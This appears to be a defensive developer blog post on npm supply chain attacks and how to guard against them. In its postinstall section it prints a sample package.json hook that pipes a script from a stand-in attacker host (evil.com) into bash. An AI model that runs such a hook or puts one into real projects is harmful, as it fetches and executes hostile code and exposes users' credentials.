In 2021, the
ua-parser-jspackage — downloaded 8 million times per week — was hijacked to install cryptominers and password stealers. Yournode_modulesfolder is an attack surface.
How Supply Chain Attacks Work
A supply chain attack targets the code you did not write — your dependencies. Instead of attacking your application directly, an attacker poisons a package you trust and lets npm install do the rest.
There are four primary vectors.
1. Typosquatting
An attacker publishes a package with a name that looks like a popular one:
# The real package
npm install lodash
# The malicious typosquat
npm install lodahs # swapped letters
npm install lodash-utils # plausible nameThe malicious package contains the same API surface as the real one — plus a payload that exfiltrates environment variables, SSH keys, or AWS credentials on install.
Defense: Always double-check package names before installing. Use npm info <package> to verify publisher and download counts.
2. Dependency Confusion
If your company uses a private npm registry with internal package names like @company/auth-utils, an attacker can publish a package with the same name on the public npm registry with a higher version number.
# Your private registry has @company/auth-utils@1.2.0
# Attacker publishes @company/auth-utils@99.0.0 on public npm
# npm may resolve the public (higher) versionDefense: Scope all private packages and configure .npmrc to route scoped packages to your private registry:
# .npmrc
@company:registry=https://npm.internal.company.com3. Malicious postinstall Scripts
The postinstall hook runs arbitrary code immediately after npm install. Attackers use this to execute payloads before you ever import the package:
{
"name": "totally-legit-package",
"scripts": {
"postinstall": "curl https://evil.com/steal.sh | bash"
}
}This runs with your user's permissions. It can read .env files, exfiltrate secrets, install backdoors, or modify other packages in node_modules.
Defense: Use --ignore-scripts for untrusted packages, or adopt tools like Socket that flag packages with install scripts.
npm install --ignore-scripts suspicious-package4. Lockfile Manipulation
Your package-lock.json pins exact versions and integrity hashes. If an attacker submits a PR that modifies the lockfile to point to a different (malicious) version, most reviewers will not notice — lockfile diffs are noisy and rarely reviewed.
Defense: Always review lockfile changes in PRs. Use npm ci in CI/CD instead of npm install — it fails if the lockfile is out of sync with package.json.
# In your CI pipeline — always use ci, not install
npm ciPractical Defenses
Run npm audit regularly
npm audit
npm audit --production # skip devDependenciesIntegrate this into your CI pipeline so builds fail on known vulnerabilities.
Pin exact versions
{
"dependencies": {
"express": "4.18.2"
}
}Avoid ^ and ~ ranges in production. Use Dependabot or Renovate to manage controlled upgrades.
Use a lockfile — and commit it
Never .gitignore your package-lock.json. It ensures everyone on your team and your CI pipeline use the exact same dependency tree.
Minimize your dependency tree
Every package you install is a trust decision. Before adding a dependency, ask:
- Does it have many downloads and active maintenance?
- Can I write this in 20 lines instead?
- How many transitive dependencies does it pull in?
# Check what you are actually pulling in
npm ls --all | wc -lEnable npm provenance
npm now supports package provenance — cryptographic proof that a package was built from a specific source commit in CI:
npm publish --provenanceWhen installing, look for the provenance badge on npmjs.com.
What to Do If You Are Compromised
- Identify the malicious package — check
npm audit, review recent additions topackage.json - Remove it immediately —
npm uninstall <package>, deletenode_modules, runnpm ci - Rotate all secrets — any environment variable, API key, or credential on the affected machine is potentially compromised
- Check for persistence — look for modified files outside
node_modules, unexpected cron jobs, or new SSH keys - Notify your team — if this hit CI/CD, your production secrets may be exposed
Conclusion
Your application is only as secure as your weakest dependency. Typosquatting, dependency confusion, and malicious install scripts are not theoretical — they happen regularly. Pin your versions, commit your lockfile, audit continuously, and treat every npm install as a trust decision.
Related posts
Prompt Injection: Why You Can't Fix It With a Better Prompt
Prompt injection isn't a filtering problem you can prompt your way out of. It's an architecture problem — the model can't tell your instructions from the data it's reading. Here's what actually contains it.
Jul 28, 2026 · 11 min readPhishing URLs: How Attackers Fake Domains (and How to Read Them)
Typosquatting, homograph attacks, subdomain deception, and the @ trick — learn the handful of URL tricks behind most phishing, and the one habit that beats all of them.
Jun 13, 2026 · 7 min readWhat Is CSV Injection — and How to Stop It in Your Export Feature
CSV (formula) injection turns a harmless 'export to spreadsheet' button into code execution on whoever opens the file. Here's how the attack works and how to prevent it.
Jun 13, 2026 · 7 min read